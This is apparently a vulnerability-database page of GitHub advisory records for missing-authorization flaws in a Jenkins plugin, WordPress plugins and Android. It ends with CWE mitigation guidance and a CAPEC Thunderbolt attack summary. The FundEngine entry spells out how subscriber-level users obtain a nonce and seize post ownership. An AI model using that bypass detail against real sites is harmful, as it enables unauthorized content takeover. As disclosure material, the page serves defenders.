"published": "2022-05-24T17:48:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21647"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/electricflow-plugin/commit/597cbb1d767ae92c44b4cbd9525fa53ddab37117"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/electricflow-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2021-04-21/#SECURITY-2309"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/04/21/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins CloudBees CD Plugin allows scheduling builds"
}
GHSA-7RX7-MPJH-8VJX
Vulnerability from github – Published: 2026-08-25 06:31 – Updated: 2026-08-25 06:31The FundEngine – Donation and Crowdfunding Platform plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.8.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify arbitrary posts and pages — overwriting title and content, and seizing ownership by supplying an attacker-controlled post_author integer that bypasses wp_kses_post sanitization. The wp_rest nonce required by the handler is trivially obtainable by any logged-in user via /wp-admin/admin-ajax.php?action=rest-nonce and therefore does not constitute an authorization barrier.
{
"affected": [],
"aliases": [
"CVE-2026-75930"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T04:18:20Z",
"severity": "MODERATE"
},
"details": "The FundEngine \u2013 Donation and Crowdfunding Platform plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.8.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify arbitrary posts and pages \u2014 overwriting title and content, and seizing ownership by supplying an attacker-controlled post_author integer that bypasses wp_kses_post sanitization. The wp_rest nonce required by the handler is trivially obtainable by any logged-in user via /wp-admin/admin-ajax.php?action=rest-nonce and therefore does not constitute an authorization barrier.",
"id": "GHSA-7rx7-mpjh-8vjx",
"modified": "2026-08-25T06:31:32Z",
"published": "2026-08-25T06:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75930"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-fundraising-donation/tags/1.8.1/apps/content.php#L1195"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-fundraising-donation/tags/1.8.1/apps/content.php#L1228"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-fundraising-donation/tags/1.8.1/apps/content.php#L289"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3656562%40wp-fundraising-donation\u0026new=3656562%40wp-fundraising-donation"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/08057fa2-90e1-4537-a828-a2c5902b348c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RXG-G96W-25CM
Vulnerability from github – Published: 2024-06-09 09:30 – Updated: 2024-06-09 09:30Missing Authorization vulnerability in Pluggabl LLC Booster Plus for WooCommerce.This issue affects Booster Plus for WooCommerce: from n/a before 7.1.3.
{
"affected": [],
"aliases": [
"CVE-2023-52230"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-09T09:15:09Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Pluggabl LLC Booster Plus for WooCommerce.This issue affects Booster Plus for WooCommerce: from n/a before 7.1.3.",
"id": "GHSA-7rxg-g96w-25cm",
"modified": "2024-06-09T09:30:34Z",
"published": "2024-06-09T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52230"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/booster-plus-for-woocommerce/wordpress-booster-plus-for-woocommerce-plugin-7-1-3-authenticated-arbitrary-wordpress-option-disclosure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RXG-VRRP-X3GV
Vulnerability from github – Published: 2023-06-28 18:30 – Updated: 2024-04-04 05:15In multiple functions of WifiNetworkFactory.java, there is a missing permission check. This could lead to local escalation of privilege from the guest user with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-266700762
{
"affected": [],
"aliases": [
"CVE-2023-21185"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-28T18:15:14Z",
"severity": "HIGH"
},
"details": "In multiple functions of WifiNetworkFactory.java, there is a missing permission check. This could lead to local escalation of privilege from the guest user with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-266700762",
"id": "GHSA-7rxg-vrrp-x3gv",
"modified": "2024-04-04T05:15:15Z",
"published": "2023-06-28T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21185"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2023-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.